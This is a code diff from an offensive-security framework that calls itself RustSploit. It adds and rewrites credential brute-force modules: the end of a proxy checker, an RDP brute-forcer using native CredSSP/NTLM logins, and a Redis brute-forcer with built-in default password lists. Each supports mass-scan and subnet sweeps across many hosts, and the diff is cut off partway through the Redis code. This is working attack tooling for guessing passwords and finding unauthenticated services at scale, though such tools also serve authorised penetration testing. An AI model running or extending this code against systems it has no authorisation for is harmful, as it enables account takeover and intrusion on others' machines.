let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&users_file)?;
let passes = load_lines(&pass_file)?;
if users.is_empty() { return Err(anyhow!("Username list empty")); }
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent hosts", 50, 1, 500).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_subnet.txt").await?;
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "proxy",
jitter_ms: 50,
source_module: "creds/generic/proxy_credcheck",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
try_proxy_auth(proxy_type, &ip.to_string(), port, &user, &pass, 5000).await
}
}).await;
}
// --- Single target ---
display_banner();
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
let proxy_type = ProxyType::from_str(&proxy_type_input);
let normalized = normalize_target(target)?;
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let usernames = load_lines(&users_file)?;
let passwords = load_lines(&pass_file)?;
if usernames.is_empty() { return Err(anyhow!("Username list empty")); }
if passwords.is_empty() { return Err(anyhow!("Password list empty")); }
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent attempts", 10, 1, 100).await? as usize;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid credential?", true).await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let save_path = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_results.txt").await?;
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
crate::mprintln!("[*] Proxy: {} on {}:{}", proxy_type.name().cyan(), normalized, port);
crate::mprintln!("[*] Combos: {}", combos.len());
crate::mprintln!();
let result = run_bruteforce(
&BruteforceConfig {
target: normalized,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
jitter_ms: 50,
max_retries: 2,
service_name: "proxy",
source_module: "creds/generic/proxy_credcheck",
},
combos,
move |target: String, port: u16, user: String, pass: String| {
async move {
try_proxy_auth(proxy_type, &target, port, &user, &pass, timeout_ms).await
}
},
).await?;
result.print_found();
result.save_to_file(&save_path)?;
Ok(())
}
+447 -237
View File
@@ -1,271 +1,481 @@
use anyhow::Result;
use anyhow::{anyhow, Result};
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
use std::net::IpAddr;
use tokio::time::Duration;
use crate::native::rdp as rdp_native;
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
cfg_prompt_port, cfg_prompt_yes_no, load_lines,
};
pub async fn run(target: &str) -> Result<()> {
println!("=== RDP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Please enter a number."),
}
};
let usernames_file_path = prompt_required("Username wordlist path")?;
let passwords_file_path = prompt_required("Password wordlist path")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Must be greater than 0."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = format_socket_address(target, port);
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "RDP Brute Force".to_string(),
description: "Brute-force RDP authentication with multiple security level support (NLA, TLS, Standard RDP, Negotiate). Includes combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
const MAX_MEMORY_LOAD_SIZE: u64 = 150 * 1024 * 1024; // 150 MB
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut handles = vec![];
let mut user_cycle_idx = 0;
/// RDP-specific error types for better classification
#[derive(Debug, Clone)]
enum RdpError {
ConnectionFailed,
ProtocolError,
}
'password_loop: for pass in passwords {
if *stop_signal.lock().await {
break 'password_loop;
}
let current_users_for_this_pass = if combo_mode {
users.clone()
} else {
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user_for_this_pass]
};
for user in current_users_for_this_pass {
if *stop_signal.lock().await {
break 'password_loop; // Break outer loop if stopping
}
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let handle = tokio::spawn(async move {
let _permit_guard = permit; // Permit dropped when task finishes
if *stop_signal_clone.lock().await {
return;
}
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop_signal_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
impl std::fmt::Display for RdpError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
RdpError::ConnectionFailed => write!(f, "Connection failed"),
RdpError::ProtocolError => write!(f, "Protocol error"),
}
}
}
for handle in handles {
handle.await?; // Propagate JoinErrors if any task panicked
}
/// RDP Security Level for authentication
#[derive(Debug, Clone, Copy)]
enum RdpSecurityLevel {
Auto,
Nla,
Tls,
Rdp,
Negotiate,
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
impl RdpSecurityLevel {
fn as_protocol_flags(&self) -> u32 {
match self {
RdpSecurityLevel::Auto => rdp_native::PROTO_HYBRID | rdp_native::PROTO_SSL,
RdpSecurityLevel::Nla => rdp_native::PROTO_HYBRID,
RdpSecurityLevel::Tls => rdp_native::PROTO_SSL,
RdpSecurityLevel::Rdp => rdp_native::PROTO_RDP,
RdpSecurityLevel::Negotiate => {
rdp_native::PROTO_HYBRID | rdp_native::PROTO_SSL | rdp_native::PROTO_RDP
}
}
}
Ok(())
}
async fn prompt_selection() -> Result<Self> {
crate::mprintln!("\nRDP Security Level Options:");
crate::mprintln!(" 1. Auto (let client negotiate)");
crate::mprintln!(" 2. NLA (Network Level Authentication)");
crate::mprintln!(" 3. TLS (Transport Layer Security)");
crate::mprintln!(" 4. RDP (Standard RDP encryption)");
crate::mprintln!(" 5. Negotiate (try all methods)");
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let mut child = Command::new("xfreerdp")
.arg(format!("/v:{}", addr))
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg("/timeout:5000")
.arg("+auth-only") // Attempt authentication without full desktop session
.arg("/log-level:OFF")
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
.spawn()?;
let status = child.wait().await?;
Ok(status.success())
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
loop {
let input = cfg_prompt_default("security_level", "Security level", "1").await?;
match input.trim().to_lowercase().as_str() {
"1" | "auto" => return Ok(RdpSecurityLevel::Auto),
"2" | "nla" => return Ok(RdpSecurityLevel::Nla),
"3" | "tls" => return Ok(RdpSecurityLevel::Tls),
"4" | "rdp" => return Ok(RdpSecurityLevel::Rdp),
"5" | "negotiate" => return Ok(RdpSecurityLevel::Negotiate),
_ => crate::mprintln!("{}", "Invalid choice. Please select 1-5.".yellow()),
}
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ RDP Brute Force Module ║".cyan()
);
crate::mprintln!(
"{}",
"║ Remote Desktop Protocol Credential Testing ║".cyan()
);
crate::mprintln!(
"{}",
"║ Native TCP + TLS + CredSSP/NTLM Authentication ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{}", format!("{} {} : ", msg, options).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
/// Native RDP login via TCP + TLS + CredSSP/NTLM (no external tools needed)
async fn try_rdp_login(
addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
security_level: RdpSecurityLevel,
) -> Result<bool> {
let protocols = security_level.as_protocol_flags();
match rdp_native::try_login(addr, user, pass, timeout_duration, protocols).await {
Ok(rdp_native::RdpLoginResult::Success) => Ok(true),
Ok(rdp_native::RdpLoginResult::AuthFailed) => Ok(false),
Ok(rdp_native::RdpLoginResult::ConnectionFailed(e)) => {
Err(anyhow!("{}: {}", RdpError::ConnectionFailed, e))
}
Ok(rdp_native::RdpLoginResult::ProtocolError(e)) => {
Err(anyhow!("{}: {}", RdpError::ProtocolError, e))
}
Err(e) => Err(e),
}
}
/// Convert the result of `try_rdp_login` into the engine's `LoginResult`.
fn map_rdp_result(result: Result<bool>) -> LoginResult {
match result {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let msg = e.to_string();
let lower = msg.to_lowercase();
let retryable = lower.contains("connection")
|| lower.contains("timeout")
|| lower.contains("reset")
|| lower.contains("refused");
LoginResult::Error {
message: msg,
retryable,
}
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/') // Ensure it's not a path segment
|| filename_component.contains('\\')
{
"rdp_brute_results.txt" // A robust default filename
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
fn format_socket_address(ip: &str, port: u16) -> String {
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") {
format!("[{}]:{}", trimmed_ip, port)
} else {
format!("{}:{}", trimmed_ip, port)
}
}
fn should_use_streaming(path: &str) -> Result<bool> {
let metadata =
std::fs::metadata(path).map_err(|e| anyhow!("Failed to get file metadata: {}", e))?;
Ok(metadata.len() > MAX_MEMORY_LOAD_SIZE)
}
fn format_file_size(size: u64) -> String {
const UNITS: &[&str] = &["B", "KB", "MB", "GB"];
let mut size = size as f64;
let mut unit_index = 0;
while size >= 1024.0 && unit_index < UNITS.len() - 1 {
size /= 1024.0;
unit_index += 1;
}
format!("{:.1} {}", size, UNITS[unit_index])
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let port: u16 = cfg_prompt_port("port", "RDP Port", 3389).await?;
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
if users.is_empty() {
return Err(anyhow!("User list empty"));
}
if passes.is_empty() {
return Err(anyhow!("Pass list empty"));
}
let security_level = RdpSecurityLevel::prompt_selection().await?;
let timeout_secs: u64 =
cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 10, 1, 300).await?
as u64;
let cfg = MassScanConfig {
protocol_name: "RDP",
default_port: port,
state_file: "rdp_brute_hose_state.log",
default_output: "rdp_brute_mass_results.txt",
default_concurrency: 500,
};
return run_mass_scan(target, cfg, move |ip, port| {
let users = users.clone();
let passes = passes.clone();
async move {
// TCP connect check
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
return None;
}
let addr = format_socket_address(&ip.to_string(), port);
let timeout_duration = Duration::from_secs(timeout_secs);
let mut consecutive_errors = 0u32;
for user in users.iter() {
for pass in passes.iter() {
match try_rdp_login(&addr, user, pass, timeout_duration, security_level)
.await
{
Ok(true) => {
let timestamp = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ");
let line =
format!("[{}] {}:{}:{}:{}\n", timestamp, ip, port, user, pass);
crate::mprintln!(
"\r{}",
format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass)
.green()
.bold()
);
return Some(line);
}
Ok(false) => {
consecutive_errors = 0; // Auth failure = server responsive
}
Err(e) => {
consecutive_errors += 1;
let err = e.to_string().to_lowercase();
if err.contains("refused")
|| err.contains("timeout")
|| err.contains("reset")
|| err.contains("not found")
{
return None; // Host unreachable, skip
}
// Backoff on consecutive errors to avoid hammering
if consecutive_errors >= 3 {
let delay = crate::utils::backoff_delay(500, consecutive_errors.min(5), 8);
tokio::time::sleep(delay).await;
}
}
}
}
}
None
}
})
.await;
}
// Subnet scan mode — use the engine's run_subnet_bruteforce
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
return run_subnet_scan(target).await;
}
// Single target mode
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = cfg_prompt_port("port", "RDP Port", 3389).await?;
let security_level = RdpSecurityLevel::prompt_selection().await?;
let domain = cfg_prompt_default("domain", "Domain (blank for none)", "").await?;
let domain = domain.trim().to_string();
let usernames_file_path =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file_path =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let concurrency =
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 10000).await? as usize;
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file name", "rdp_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Determine streaming vs. memory-loaded mode for large wordlists
let use_streaming = should_use_streaming(&passwords_file_path)?;
let pass_file_size = std::fs::metadata(&passwords_file_path)?.len();
if use_streaming {
crate::mprintln!(
"{}",
format!(
"[*] Password file is {} (>{}), using streaming mode to save memory",
format_file_size(pass_file_size),
format_file_size(MAX_MEMORY_LOAD_SIZE)
)
.yellow()
);
} else {
crate::mprintln!(
"{}",
format!(
"[*] Password file is {}, using memory-loaded mode for optimal performance",
format_file_size(pass_file_size)
)
.cyan()
);
}
// Load wordlists into memory (the engine handles concurrency via task draining)
let usernames = load_lines(&usernames_file_path)?;
if usernames.is_empty() {
crate::mprintln!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
crate::mprintln!("[*] Loaded {} usernames", usernames.len());
let passwords = if use_streaming {
// For large files, stream line-by-line to build combos without
// holding both raw + combo vectors simultaneously.
use std::io::{BufRead, BufReader};
let file = std::fs::File::open(&passwords_file_path)?;
let reader = BufReader::new(file);
let mut lines = Vec::new();
for line in reader.lines() {
let line = line?;
let trimmed = line.trim().to_string();
if !trimmed.is_empty() {
lines.push(trimmed);
}
}
lines
} else {
load_lines(&passwords_file_path)?
};
if passwords.is_empty() {
crate::mprintln!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
crate::mprintln!("[*] Loaded {} passwords", passwords.len());
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!("{}", format!("[*] Total attempts: {}", combos.len()).cyan());
// Free original vecs since combos now owns the data
drop(usernames);
drop(passwords);
let addr = format_socket_address(target, port);
// Build engine config
let bf_config = BruteforceConfig {
target: addr.clone(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries: 2,
service_name: "rdp",
jitter_ms: 50,
source_module: "creds/generic/rdp_credcheck",
};
// Build the try_login closure capturing security_level, domain, and verbose
let timeout_duration = Duration::from_secs(10);
let result = run_bruteforce(&bf_config, combos, move |target, _port, user, pass| {
let domain = domain.clone();
let security_level = security_level;
let timeout_dur = timeout_duration;
async move {
// Prepend domain to username if provided
let effective_user = if domain.is_empty() {
user
} else {
format!("{}\\{}", domain, user)
};
let res =
try_rdp_login(&target, &effective_user, &pass, timeout_dur, security_level).await;
map_rdp_result(res)
}
})
.await?;
// Display and save results
result.print_found();
if let Some(path_str) = save_path {
result.save_to_file(&path_str)?;
}
Ok(())
}
/// Subnet scan mode using the engine's `run_subnet_bruteforce`.
async fn run_subnet_scan(target: &str) -> Result<()> {
let port: u16 = cfg_prompt_port("port", "RDP Port", 3389).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() || passes.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let concurrency =
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let timeout_secs =
cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 10, 1, 300).await? as u64;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"rdp_subnet_results.txt",
)
.await?;
let security_level = RdpSecurityLevel::prompt_selection().await?;
let subnet_config = SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "rdp",
jitter_ms: 50,
source_module: "creds/generic/rdp_credcheck",
skip_tcp_check: false,
};
let timeout_duration = Duration::from_secs(timeout_secs);
run_subnet_bruteforce(
target,
port,
users,
passes,
&subnet_config,
move |ip: IpAddr, port: u16, user: String, pass: String| {
let security_level = security_level;
let timeout_dur = timeout_duration;
async move {
let addr = format_socket_address(&ip.to_string(), port);
let res = try_rdp_login(&addr, &user, &pass, timeout_dur, security_level).await;
map_rdp_result(res)
}
},
)
.await
}
@@ -0,0 +1,657 @@
use anyhow::{anyhow, Result};
use colored::*;
use std::io::{Read, Write};
use std::net::IpAddr;
use std::time::Duration;
use crate::utils::{
load_lines, get_filename_in_current_dir, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::utils::{
BruteforceConfig, LoginResult, SubnetScanConfig,
generate_combos_mode, parse_combo_mode, load_credential_file,
run_bruteforce, run_subnet_bruteforce,
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
};
// ============================================================================
// Constants
// ============================================================================
const DEFAULT_REDIS_PORT: u16 = 6379;
/// Default passwords for Redis (password-only mode).
/// Redis commonly runs with no auth, "redis", "foobared", etc.
const DEFAULT_PASSWORDS: &[&str] = &[
"", // no auth
"redis",
"password",
"foobared",
"admin",
"123456",
"root",
"default",
"letmein",
"changeme",
];
/// Default ACL credentials for Redis 6+ (username:password).
const DEFAULT_ACL_CREDENTIALS: &[(&str, &str)] = &[
("default", ""),
("default", "redis"),
("default", "password"),
("default", "foobared"),
("admin", "admin"),
("admin", "password"),
("admin", "redis"),
("root", "root"),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Redis Brute Force".to_string(),
description: "Brute-force Redis authentication using raw TCP protocol. Supports both \
legacy password-only AUTH and Redis 6+ ACL mode (AUTH username password). \
Tests default credentials, gathers server info on success, and supports \
subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://redis.io/docs/management/security/".to_string(),
"https://redis.io/docs/management/security/acl/".to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// Error Classification
// ============================================================================
#[derive(Debug, Clone, PartialEq)]
enum RedisErrorType {
AuthenticationFailed,
NoAuthRequired,
ConnectionRefused,
ConnectionTimeout,
ProtocolError,
Unknown,
}
impl RedisErrorType {
fn classify_error(msg: &str) -> Self {
let lower = msg.to_lowercase();
if lower.contains("noauth") || lower.contains("no auth") {
Self::NoAuthRequired
} else if lower.contains("-err")
|| lower.contains("wrongpass")
|| lower.contains("invalid password")
|| lower.contains("authentication")
{
Self::AuthenticationFailed
} else if lower.contains("refused")
|| lower.contains("reset")
|| lower.contains("broken pipe")
{
Self::ConnectionRefused
} else if lower.contains("timeout")
|| lower.contains("timed out")
|| lower.contains("deadline")
{
Self::ConnectionTimeout
} else if lower.contains("protocol") || lower.contains("unexpected") {
Self::ProtocolError
} else {
Self::Unknown
}
}
fn is_retryable(&self) -> bool {
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
}
fn description(&self) -> &'static str {
match self {
Self::AuthenticationFailed => "Authentication failed",
Self::NoAuthRequired => "No authentication required",
Self::ConnectionRefused => "Connection refused/reset",
Self::ConnectionTimeout => "Connection timed out",
Self::ProtocolError => "Protocol error",
Self::Unknown => "Unknown error",
}
}
}
#[derive(Debug)]
struct RedisError {
error_type: RedisErrorType,
message: String,
}
impl std::fmt::Display for RedisError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[{}] {}", self.error_type.description(), self.message)
}
}
impl std::error::Error for RedisError {}
impl RedisError {
fn from_anyhow(err: anyhow::Error) -> Self {
let msg = err.to_string();
let error_type = RedisErrorType::classify_error(&msg);
Self { error_type, message: msg }
}
}
// ============================================================================
// Module Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
crate::mprintln!("\n{}", "=== Redis Bruteforce Module (RustSploit) ===".bold().cyan());
crate::mprintln!();
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
return run_mass_scan(target, MassScanConfig {
protocol_name: "Redis",
default_port: DEFAULT_REDIS_PORT,
state_file: "redis_hose_state.log",
default_output: "redis_mass_results.txt",
default_concurrency: 200,
}, move |ip: IpAddr, port: u16| {
async move {
// Quick TCP check
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let target_str = ip.to_string();
// Verify Redis is reachable with PING
let ping_result = tokio::task::spawn_blocking({
let t = target_str.clone();
move || redis_ping(&t, port, 5)
}).await;
match ping_result {
Ok(Ok(true)) => {
// PING succeeded without auth — Redis has no auth
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
{
let id = crate::cred_store::store_credential(
&target_str, port, "redis", "", "(no auth)",
crate::cred_store::CredType::Password,
"creds/generic/redis_credcheck",
).await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
return Some(format!("[{}] {}:{}:(no auth)\n", ts, ip, port));
}
Ok(Ok(false)) => {
// Auth required, try defaults
}
_ => return None, // Connection failure
}
if use_acl {
for (user, pass) in DEFAULT_ACL_CREDENTIALS {
let t = target_str.clone();
let u = user.to_string();
let p = pass.to_string();
let res = tokio::task::spawn_blocking(move || {
attempt_redis_login(&t, port, &u, &p, true, 5)
}).await;
match res {
Ok(Ok(true)) => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
{
let id = crate::cred_store::store_credential(
&target_str, port, "redis", user, pass,
crate::cred_store::CredType::Password,
"creds/generic/redis_credcheck",
).await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
}
Ok(Ok(false)) => continue,
_ => return None,
}
}
} else {
for pass in DEFAULT_PASSWORDS {
let t = target_str.clone();
let p = pass.to_string();
let res = tokio::task::spawn_blocking(move || {
attempt_redis_login(&t, port, "", &p, false, 5)
}).await;
match res {
Ok(Ok(true)) => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
{
let id = crate::cred_store::store_credential(
&target_str, port, "redis", "", pass,
crate::cred_store::CredType::Password,
"creds/generic/redis_credcheck",
).await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
return Some(format!("[{}] {}:{}::{}\n", ts, ip, port, pass));
}
Ok(Ok(false)) => continue,
_ => return None,
}
}
}
None
}
}).await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
let port = cfg_prompt_int_range("port", "Port", DEFAULT_REDIS_PORT as i64, 1, 65535).await? as u16;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let passes = load_lines(&passwords_file)?;
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
let users = if use_acl {
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let u = load_lines(&usernames_file)?;
if u.is_empty() { return Err(anyhow!("User list empty")); }
u
} else {
// In password-only mode, use a single empty username
vec![String::new()]
};
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
